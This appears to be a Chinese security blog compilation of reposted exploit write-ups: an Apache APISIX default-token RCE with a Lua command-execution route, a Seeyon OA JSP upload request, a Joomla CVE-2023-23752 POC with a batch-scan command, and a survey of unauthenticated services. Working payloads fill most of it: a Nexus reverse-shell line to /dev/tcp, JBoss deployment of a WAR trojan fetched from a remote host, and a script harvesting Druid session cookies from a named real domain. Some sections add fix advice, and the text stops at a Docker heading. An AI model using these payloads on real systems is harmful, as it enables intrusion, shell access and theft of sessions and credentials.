Apache APISIX 默认密钥漏洞(CVE-2020-13945)

Apache APISIX 默认密钥漏洞(CVE-2020-13945)

本文转自horisMMM 并作补充

APISIX简介

官方一句话介绍:Apache APISIX是一个高性能API网关。

API网关又是什么?

百度:API网关,软件术语,两个相互独立的局域网之间通过路由器进行通信,中间的路由被称之为网关。

任何一个应用系统如果需要被其他系统调用,就需要暴露 API,这些 API 代表着一个一个的功能点。

如果两个系统中间通信,在系统之间加上一个中介者协助 API 的调用,这个中介者就是 API 网关。

那意思就是Apisix是两个系统的一个中介,可以使用这个中间管理系统API。

存在漏洞

在用户未指定管理员Token或使用了默认配置文件的情况下,Apache APISIX将使用默认的管理员Token edd1c9f034335f136f87ad84b625c8f1,攻击者利用这个Token可以访问到管理员接口,进而通过script参数来插入任意LUA脚本并执行。

意思就是有一个默认的Token,可以直接得到管理员权限,并插入攻击脚本。

漏洞复现

docker-compose up -d 搭建环境

docker ps 查看端口为9080

image

访问 127.0.0.1/asixpix/admin/routes,显示token不正确

image

抓这个包,把方法改为POST,加上X-API-KEY: edd1c9f034335f136f87ad84b625c8f1,加上payload

1
2
3
4
5
6
7
8
9
10
{
"uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
"upstream": {
"type": "roundrobin",
"nodes": {
"example.com:80": 1
}
}
}

image

然后,我们访问刚才添加的router,就可以通过cmd参数执行任意命令:

1
http://127.0.0.1:9080/attack?cmd=id

image

payload分析

查看官方文档,观察创建路由的方法

https://apisix.apache.org/zh/docs/apisix/getting-started/

image

与payload对比,发现payload格式与官方创建路由一致,只是利用script插入了一段lua恶意脚本。

在 Apache APISIX 中,我们在 Route 实体中新增了 script 执行逻辑,可用于接收 Dashboard 生成的 Lua 函数并执行,它支持调用已有插件以复用代码。另外,它也作用于 HTTP 请求的生命周期中的各个阶段,如 access、header_filer、body_filter 等,系统会在相应阶段自动执行 script 函数对应阶段代码
image

接下来对lua脚本进行分析,\n是换行

1
2
3
4
5
6
7
8
9
local _M = {} \n function _M.access(conf, ctx)//在access阶段进行处理,检查如果达到的不健康次数超过了配置的最大次数,则就被break掉。这里没找到看得懂的资料。
local os = require('os')//加载os模块,用于进行文件操作
local args = assert(ngx.req.get_uri_args()) //assert()是断言,类似于try(),这里是获取uri中给的参数。
local f = assert(io.popen(args.cmd, 'r'))//io.popen()用于执行系统命令,'r'是模式
local s = assert(f:read('*a'))//读取全部内容
ngx.say(s)//输出,还有一种方法是ngx.print(),但两者有区别
f:close()
end
return _M

function _M.access(conf, ctx)

image

assert()

image

read(‘a’)

https://blog.csdn.net/u013625451/article/details/78879739

image

urllib库进行网络请求后返回的HTTPResponse对象的用法总结

urllib库进行网络请求后返回的HTTPResponse对象的用法总结

本文转自「已注销」 并作补充

不管是使用urllib.request.urlopen()方法,还是使用opener.open()方法,都返回同样类型的HTTPResponse对象,用法总结如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# !/usr/bin/env python
# -*- coding:utf-8 -*-

from urllib import request
from urllib import response

URL="http://www.baidu.com/"

# 构造请求头信息
# 反反爬虫:设置User-Agent
request_headers={
"User-Agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
}

# 构造请求对象,并添加请求头
req=request.Request(URL,headers=request_headers)
# 发起请求
resp=request.urlopen(req)


print(type(resp)) # <class 'http.client.HTTPResponse'>
# 获取HTTP协议版本号(10 for HTTP/1.0, 11 for HTTP/1.1)
print(resp.version)

# 获取响应码
print(resp.status)
print(resp.getcode())

# 获取响应描述字符串
print(resp.reason)

# 获取实际请求的页面url(防止重定向用)
print(resp.geturl())

# 获取特定响应头信息
print(resp.getheader(name="Content-Type"))
# 获取响应头信息,返回二元元组列表
print(resp.getheaders())
# 获取响应头信息,返回字符串
print(resp.info())

# 读取响应体
print(resp.readline().decode('utf-8'))
print(resp.read().decode('utf-8'))

提取APK中的URL地址

提取APK中的URL地址

本文转自風月长情 并作补充

一、目的

客户端渗透测试前期信息收集过程中可以在APK中检索开发过程中没有删掉的URL地址,在这些地址中可能会发现后台、搜索引擎、子域名查找不到的一些资源。

二、操作

反编译APK文件
apktool d <xxx.apk>
将反编译的文件zip打包发送到linux系统中
image

使用grep命令进行URL正则匹配
通过grep正则匹配包下边所有文件的uri地址,然后排序,删除重复行,最后重定向到文件中
grep -ohr -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" /Kevin/com.sogou.map.android.maps/ |sort|uniq >> test.txt
image

然后在搜索出来的地址中查看是否有敏感地址:
比如这个地址就不在我搜索的上千个子域中:
image

随便一试直接进入后台,到此文件上传拿shell一个高危漏洞又到手了,香吧~
image

致远OA wpsAssistServlet 任意文件上传漏洞 漏洞复现

致远OA wpsAssistServlet 任意文件上传漏洞 漏洞复现

本文转自Vista、 并作补充

01 漏洞描述

致远OA是一套办公协同管理软件。致远OA wpsAssistServlet接口存在任意文件上传漏洞,攻击者通过漏洞可以发送特定的请求包上传恶意文件,获取服务器权限。

02 影响范围

致远OA A6、A8、A8N (V8.0SP2,V8.1,V8.1SP1)
致远OA G6、G6N (V8.1、V8.1SP1)

03 利用方式

1、调用文件上传接口上传测试文件,请求包如下:

1
2
3
4
5
6
7
8
9
10
11
12
POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/test.jsp&fileId=2 HTTP/1.1
Host: 127.0.0.1
Content-Length: 349
Content-Type: multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616b
Accept-Encoding: gzip

--59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name="upload"; filename="test.txt"
Content-Type: application/vnd.ms-excel

<% out.println("seeyon_vuln");%>
--59229605f98b8cf290a7b8908b34616b--

2、文件上传成功时,响应情况如下图所示:
image

3、访问上传文件:http://xx.xx.xx.xx/test.jsp,发现该文件成功被服务器解析。
image
image

04 修复方案

1、对路径 /seeyon/htmlofficeservlet 进行限制访问。
2、致远官方已发布补丁,请联系官方安装相应补丁。

CVE-2023-23752 POC Joomla! 未授权访问漏洞

CVE-2023-23752 POC Joomla! 未授权访问漏洞

本文转自雨苁 并作补充

漏洞描述

在 Joomla! 版本为4.0.0 到 4.2.7中发现了一个漏洞,可以对 web 服务端点进行未经授权访问。

漏洞详情

项目: Joomla!
子项目: CMS
影响:严重
严重性: 高
概率:高
版本: 4.0.0-4.2.7
利用类型:不正确的访问控制
报告日期: 2023-02-13
修复日期: 2023-02-16
CVE 编号: CVE​​-2023-23752

描述

不正确的访问检查允许对 web 服务端点进行未经授权的访问。

受影响的版本

Joomla! CMS 版本 4.0.0-4.2.7

解决方案

升级到版本 4.2.8

Joomla!安全中心公告

https://developer.joomla.org/security-centre
image

POC

/api/index.php/v1/config/application?public=true

批量测试

httpx -l ip.txt -path '/api/index.php/v1/config/application?public=true'

测试效果

image

漏洞分析

https://xz.aliyun.com/t/12175
Joomla(CVE-2023-23752)——一个请求参数 打穿Rest API
由于公司对漏洞的要求比较高,代码审计很快集中到了请求路由的代码块。不管是Wordpress/RounderCube还是PhpMyAdmin以及一些知名度比较高的php应用(一个Java安全研究员感到头皮发麻),我的重点对象变成了请求路由的代码追踪,一旦分析经过路由选择之后,剩下的业务代码我是完全不看了。虽然有点不专业,但是这是挖掘未授权漏洞最好的道路,最终终于找到了一个不错的高危漏洞——Joomla未授权访问Rest API。

受影响版本

Joomla大致有三个路由入口,分别是:
根目录的index.php(用户访问文章)
根目录的administrator/index.php(管理员管理)
根目录的api/index.php(开发者爱好的Rest API)
未授权的接口正是第三个入口。因此影响的只有Joomla4.0.0——Joomla4.2.7(Rest API 4.x正式开发)

分析

这里仅重点分析api/index.php这个路由的问题(index.php和administrator/index.php找不到漏洞)。
网站输入/api/index.php开启debug模式
image

index.php会来到app.php。其中$app主要的input成员存放所有的HTTP请求参数
image

在execute()函数中,会经过sanityCheckSystemVariables函数,此函数用来过滤渲染模板的参数,主要防止XSS漏洞。setupLogging和createExtensionNameSpaceMap主要是系统的额外记录工作。doExecute就是具体的路由逻辑函数。
image
doExecute中最重要的就是route和dispatch函数。

route:路由选择与鉴权

整个route函数分为两部分,路由选择和身份校验。
image

逻辑十分清晰,主要是直接通过parseApiRoute函数从请求的方法和url到$routers中找到对应的路由信息
image

身份验证的代码加上debug信息可以知道public参数控制着API是否对外开放。默认情况下是false,不对外开放。但是这里大部分情况都会选择直接下一步。但是回过头看路由获取parseApiRoute时会有新的发现
image

这里发送请求
http://x.x.x.x/api/index.php/v1/banners?public=true
再来看route变量会发现惊喜
image
此时route.var中的变量会被请求的变量覆盖。由于public=true,所以接口不需要身份验证,直接到达路由分发,也就是业务逻辑。

受损的API清单

由于能够直接访问API了,从中找到最终的信息即可。
/api/index.php/v1/config/application?public=true
此API用于获取网站最重要的配置信息,其中包含数据库的账号与密码。
其他受损API如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
v1/banners
v1/banners/:id
v1/banners
v1/banners/:id
v1/banners/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories/:id
v1/banners/:id/contenthistory
v1/banners/:id/contenthistory/keep
v1/banners/:id/contenthistory
v1/config/application
v1/config/application
v1/config/:component_name
v1/config/:component_name
v1/contacts/form/:id
v1/contacts
v1/contacts/:id
v1/contacts
v1/contacts/:id
v1/contacts/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories/:id
v1/contacts/:id/contenthistory
v1/contacts/:id/contenthistory/keep
v1/contacts/:id/contenthistory
v1/content/articles
v1/content/articles/:id
v1/content/articles
v1/content/articles/:id
v1/content/articles/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories/:id
v1/content/articles/:id/contenthistory
v1/content/articles/:id/contenthistory/keep
v1/content/articles/:id/contenthistory
v1/extensions
v1/languages/content
v1/languages/content/:id
v1/languages/content
v1/languages/content/:id
v1/languages/content/:id
v1/languages/overrides/search
v1/languages/overrides/search/cache/refresh
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB/:id
v1/languages
v1/languages
v1/media/adapters
v1/media/adapters/:id
v1/media/files
v1/media/files/:path/
v1/media/files/:path
v1/media/files
v1/media/files/:path
v1/media/files/:path
v1/menus/site
v1/menus/site/:id
v1/menus/site
v1/menus/site/:id
v1/menus/site/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items/:id
v1/menus/site/items/types
v1/menus/administrator/items/types
v1/messages
v1/messages/:id
v1/messages
v1/messages/:id
v1/messages/:id
v1/modules/types/site
v1/modules/types/administrator
v1/modules/site
v1/modules/site/:id
v1/modules/site
v1/modules/site/:id
v1/modules/site/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories/:id
v1/plugins
v1/plugins/:id
v1/plugins/:id
v1/privacy/requests
v1/privacy/requests/:id
v1/privacy/requests/export/:id
v1/privacy/requests
v1/privacy/consents
v1/privacy/consents/:id
v1/privacy/consents/:id
v1/redirects
v1/redirects/:id
v1/redirects
v1/redirects/:id
v1/redirects/:id
v1/tags
v1/tags/:id
v1/tags
v1/tags/:id
v1/tags/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator/:id
v1/users
v1/users/:id
v1/users
v1/users/:id
v1/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels/:id

复现

发送请求

http://127.0.0.1/api/index.php/v1/config/application?public=true

效果

image

常见未授权弱口令组件总结

常见未授权弱口令组件总结

本文转自SAUCERMAN 并作补充
总结一些主机端口,web服务上的未授权弱口令漏洞,长期更新~

1. redis未授权

漏洞成因

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
Redis因配置不当可以未授权访问。低版本的Redis,默认监听在0.0.0.0,且未开启访问认证,4.x版本开始默认监听在127.0.0.1,但仍未开启访问认证。可导致敏感信息泄露,也可以利用redis的备份功能来进行写文件的操作,从而可以写webshell,ssh密钥或者计划任务来getshell,在redis4.0+版本中,还可以利用主从复制来加载恶意so文件实现任意命令执行。
具体的利用方式介绍以前写过–>传送门

2. mongodb未授权

如果对外开放的MongoDB服务,未配置访问认证授权,则无需认证连接数据库后对数据库进行任意操作(增、删、改、查高危动作),存在严重的数据泄露风险。
3.0之前版本的MongoDB,默认监听在0.0.0.0,3.0及之后版本默认监听在127.0.0.1。
3.0之前版本,如未添加用户管理员账号及数据库账号,使用–auth参数启动时,在本地通过127.0.0.1仍可无需账号密码登陆访问数据库,远程访问则提示需认证;
3.0及之后版本,使用–auth参数启动后,无账号则本地和远程均无任何数据库访问权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
漏洞检测脚本:

def mongo(host, port=27017):
socket.setdefaulttimeout(timeout)
payload = binascii.a2b_hex(
"430000000300000000000000d40700000000000061646d696e2e24636d640000000000ffffffff1c000000016c69737444617461626173657300000000000000f03f00")
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(payload)
recv_data = s.recv(1024)
if b"databases"in recv_data:
color_print.red(f"[+] mongodb is not authorized to access:{host}:{port}")
if b"Unauthorized" in recv_data:
color_print.green(f"[+] mongodb service detected (authorization required):{host}:{port}")
except:
# traceback.print_exc()
pass

3. 阿里 druid未授权

refer: https://www.cnblogs.com/cwkiller/p/12483223.html
这里说的druid和apache druid没有关系,是阿里巴巴开源的数据库连接池,能够提供强大的监控和扩展功能,当开发者配置不当时就可能造成未授权访问。其web页面包含着当前系统存在的session信息,sql交互信息还有系统的url接口等信息,未授权访问会泄露系统敏感信息,利用泄露的session和url接口还可以进入后台、查看到未授权接口。

1
2
3
4
5
常见Druid访问路径如下:

/druid/websession.html
/system/druid/websession.html
/webpage/system/druid/websession.html(jeecg)

image

利用方式

1.我们可以通过泄露的Session登录后台。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
通过以下脚本在/druid/websession.html页面提取出cookie:

import requests
domain = "http://dy.nnxy.cn"
url = f"{domain}/druid/websession.json?orderBy=&orderType=asc&page=1&perPageCount=1000000&"
r = requests.get(url)
f = open("sessions.txt", 'w', encoding='utf-8')
for session_item in r.json()["Content"]:
session = session_item["SESSIONID"]
f.write(session)
f.write("\n")
f.close

然后依次测试该cookie是否有效。可以用burpsuite也可以直接用python,随便了

2.有的Druid可能Session监控处没有东西,可以通过URI监控测试未授权和越权。
比如页面泄露了系统的url接口:/backstage/api/send_mobile_mess/18681772721/1
image
经过测试该接口为未授权的短信验证码发送接口,且发送频率无限制,短信轰炸漏洞一枚~

4. Nexus Repository Manager弱口令+rce

Sonatype Nexus Repository Manager(NXRM)是美国Sonatype公司的一款Maven仓库管理器。

漏洞1:弱口令

在3.17.0之前版本中存在安全漏洞,该漏洞源于默认的管理员账户密码被设置成admin/admin123。攻击者可利用该漏洞获取管理器的管理员权限实现接管。
利用姿势:refer:https://www.jianshu.com/p/1328a3e0689c
当登录后台后,我们可以
访问http://ip:port/#admin/system/tasks
选择Admin - Execute script
在Source处填写[‘/bin/bash’,’-c’,’/bin/bash -i >& /dev/tcp/IP/PORT 0>&1’].execute(),Task frequency选择manual。其他随意。
点击创建任务并手动启动
反弹shell成功

漏洞2:未授权的rce: CVE-2019-7238

其3.14.0及之前版本中,存在一处基于OrientDB自定义函数的任意JEXL表达式执行功能,而这处功能存在未授权访问漏洞,将可以导致任意命令执行漏洞。漏洞编号为CVE-2019-7238。
漏洞分析文章:
https://xz.aliyun.com/t/4136
https://www.anquanke.com/post/id/171116
docker漏洞复现:https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2019-7238
漏洞的exp: https://github.com/mpgn/CVE-2019-7238

5. genkins未授权访问

Jenkins是一个开源的、提供友好操作界面的持续集成(CI)工具,默认情况下 Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务,通过脚本执行界面从而获取服务器权限。

1
2
3
4
5
点击"脚本命令执行", 执行系统命令:

println "whoami".execute().text

更多利用方式参考:https://www.secpulse.com/archives/2166.html

6. Memcached 未授权访问漏洞

Memcached 是一套常用的 key-value 分布式高速缓存系统,默认的 11211 端口不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
漏洞环境搭建:

下载64位系统 1.4.4版本:
http://static.runoob.com/download/memcached-win64-1.4.4-14.zip

解压压缩包到指定目录
使用管理员权限运行以下命令:
memcached.exe -d install
启动服务:
memcached.exe -d start
查看进程服务以及端口
netstat -ano | findstr 11211
tasklist | findstr memcached

漏洞poc

nc:
ubuntu@10-9-15-151:~$ echo stats | nc 111.233.137.90 11211
STAT pid 1340
STAT uptime 3055111422
STAT time 344865214
STAT version 1.4.4-14-g9c660c0
STAT pointer_size 64
STAT curr_connections 10
STAT total_connections 7034
STAT connection_structures 29
STAT cmd_get 901365
STAT cmd_set 38
STAT cmd_flush 0
STAT get_hits 694864
STAT get_misses 206501
STAT delete_misses 3
STAT delete_hits 7
STAT incr_misses
...
telnet
telnet 111.233.137.90 11211
stats
(退出按ctrl+],再输入quit)
nmap

ubuntu@10-9-15-151:~$ nmap -p 11211 --script memcached-info 111.233.137.111
Starting Nmap 7.60 ( https://nmap.org ) at 2020-03-27 15:34 CST
Nmap scan report for 111.233.137.111
Host is up (0.18s latency).

PORT STATE SERVICE
11211/tcp open memcache
| memcached-info:
| Process ID 1340
| Uptime 3055111219 seconds
| Server time 1980-12-05T11:50:11
| Architecture 64 bit
| Current connections 10
| Total connections 7031
| Maximum connections 1024
| TCP Port 11211
| UDP Port 11211
|_ Authentication no

Nmap done: 1 IP address (1 host up) scanned in 12.73 seconds

python3

def memcached(host, port, timeout):
socket.setdefaulttimeout(timeout)
try:

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send("stats\r\n".encode())
recv_data = s.recv(1024)
s.close()
if recv_data and b"STAT pid" in recv_data:
return "memcached is unauthorized"
except:

pass
return None

修复方案
设置Memchached只允许本地访问。
禁止外网访问Memcached 11211端口。
配置访问控制策略。

7. JBoss未授权访问

JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。,默认情况下访问 http://ip:8080/jmx-console 就可以浏览 JBoss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马有安全隐患。

1
2
3
4
5
环境搭建:

docker search testjboss
docker pull testjboss/jboss:latest
docker run -p 8080:8080 -d testjboss/jboss

漏洞利用
直接访问http://10.40.59.29:8080/jmx-console/无需认证进入控制页面,点击jboss.deployment进入应用部署页面
image

本地将jsp木马打包成war:
jar cvf mmm.war xxx.jsp

然后放在公网服务器上,能够让jboss受害者访问,这里我的木马地址为:http://10.10.25.83:8000/mmm.war。
image

在jboss应用部署界面找到void addURL(),输入木马地址,点击Invoke:
image

成功部署:
image
此时访问http://10.40.59.29:8080/mmm即为我们的war木马。

8. ZooKeeper 未授权访问漏洞

zookeeper是分布式协同管理工具,常用来管理系统配置信息,提供分布式协同服务。Zookeeper的默认开放端口是2181。Zookeeper安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利用Zookeeper,通过服务器收集敏感信息或者在Zookeeper集群内进行破坏(比如:kill命令)。攻击者能够执行所有只允许由管理员运行的命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
漏洞环境搭建

#搭建环境
wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz
tar -xzvf zookeeper-3.4.14.tar.gz
cd zookeeper-3.4.14/conf
mv zoo_sample.cfg zoo.cfg
../bin/zkServer.sh start # 启动

poc
# 1. nc
root@Test-WEB1-yanq:~# echo envi | nc 202.194.2.1 2181
Environment:
zookeeper.version=3.4.13-2d71af4dbe22557fda74f9a9b4309b15a7487f03, built on 06/29/2018 04:05 GMT
host.name=cf60dc070a78
java.version=1.8.0_181
java.vendor=Oracle Corporation
java.home=/usr/lib/jvm/java-1.8-openjdk/jre
java.class.path=/zookeeper-3.4.13/bin/../build/classes:/zookeeper-3.4.13/bin/../build/lib/*.jar:/zookeeper-3.4.13/bin/../lib/slf4j-log4j12-1.7.25.jar:/zookeeper-3.4.13/bin/../lib/slf4j-api-1.7.25.jar:/zookeeper-3.4.13/bin/../lib/netty-3.10.6.Final.jar:/zookeeper-3.4.13/bin/../lib/log4j-1.2.17.jar:/zookeeper-3.4.13/bin/../lib/jline-0.9.94.jar:/zookeeper-3.4.13/bin/../lib/audience-annotations-0.5.0.jar:/zookeeper-3.4.13/bin/../zookeeper-3.4.13.jar:/zookeeper-3.4.13/bin/../src/java/lib/*.jar:/conf:
java.library.path=/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64/server:/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64:/usr/lib/jvm/java-1.8-openjdk/jre/../lib/amd64:/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib
java.io.tmpdir=/tmp
java.compiler=<NA>
os.name=Linux
os.arch=amd64
os.version=4.4.0-116-generic
user.name=zookeeper
user.home=/home/zookeeper
user.dir=/zookeeper-3.4.13
root@Test-WEB1-yanq:~#

# 2. python

def zookeeper(host, port, timeout):
socket.setdefaulttimeout(timeout)

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send("envi".encode())
recv_data = s.recv(1024)
s.close()
if b'zookeeper.version' in recv_data:
color_print.red(f"[+] zookeeper is not authorized to access:{host}:{port}")
except:
pass

防御手段
添加访问控制,配置服务来源地址限制策略。
增加 ZooKeeper 的认证配置。

9. elasticsearch未授权访问

ElasticSearch是一个分布式的搜索引擎,Elasticsearch的增删改查操作全部由http接口完成。默认情况下Elasticsearch的http端口存在未授权访问漏洞。该漏洞导致,攻击者可以拥有Elasticsearch的所有权限。可以对数据进行任意操作。业务系统将面临敏感数据泄露、数据丢失、数据遭到破坏甚至遭到攻击者的勒索。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
漏洞复现

# elasticsearch需要JDK1.8+
# 创建elasticsearch用户,elasticsearch不能root执行
useradd elasticsearch
passwd elasticsearch
su elasticsearch

#下载环境
wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-5.5.0.zip
# 解压并启动
unzip elasticsearch-5.5.0.zip
cd elasticsearch-5.5.0/bin
./elasticsearch

poc

# 1. curl
curl http://10.25.21.110:30183
{
"name" : "ZxlNoVu",
"cluster_name" : "elasticsearch",
"cluster_uuid" : "gwFVSmsfQsaD3DhIV-GGRA",
"version" : {
"number" : "5.6.8",
"build_hash" : "688ecce",
"build_date" : "2018-02-16T16:46:30.010Z",
"build_snapshot" : false,
"lucene_version" : "6.6.1"
},
"tagline" : "You Know, for Search"
}

# 2. python
def poc(host, port, timeout):
try:
r = requests.get(f"http://{host}:{port}", timeout=timeout, allow_redirects=False, verify=False)
if "You Know, for Search" in r.text:
return "elasticsearch is unauthorized"
except:
pass
return None

防御手段
1.增加访问控制策略
2.在config/elasticsearch.yml中为9200端口设置认证等。

10 Samba未授权访问

Samba是一套实现SMB(Server Messages Block)协议、跨平台进行文件共享和打印共享服务的程序。如果配置不当,导致guest也可以访问。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from smb.SMBConnection import SMBConnection
try:
conn = SMBConnection("", "", "", "", use_ntlm_v2=True)
if conn.connect(host, port, timeout=timeout):
unauth_path = []
sharelist = conn.listShares()
for i in sharelist:
try:
conn.listPath(i.name, "/")
unauth_path.append(i.name)
except:
pass
if len(unauth_path) > 0:
print(f"smb unauthorised: directory:{'/'.join(unauth_path)}")
else:
print("smb service detected")
conn.close()
except:
pass

11 docker未授权访问

Docker是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。
Docker Remote API未授权
Docker的Remote API因配置不当可以未经授权进行访问,从而被攻击者恶意利用。攻击者无需认证即可访问到Docker数据,可能导致敏感信息泄露,黑客也可以恶意删除Docker上的数据;攻击者可进一步利用Docker自身特性,直接访问宿主机上的敏感信息,或对敏感文件进行修改,最终完全控制服务器。refer: https://help.aliyun.com/knowledge_detail/37517.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
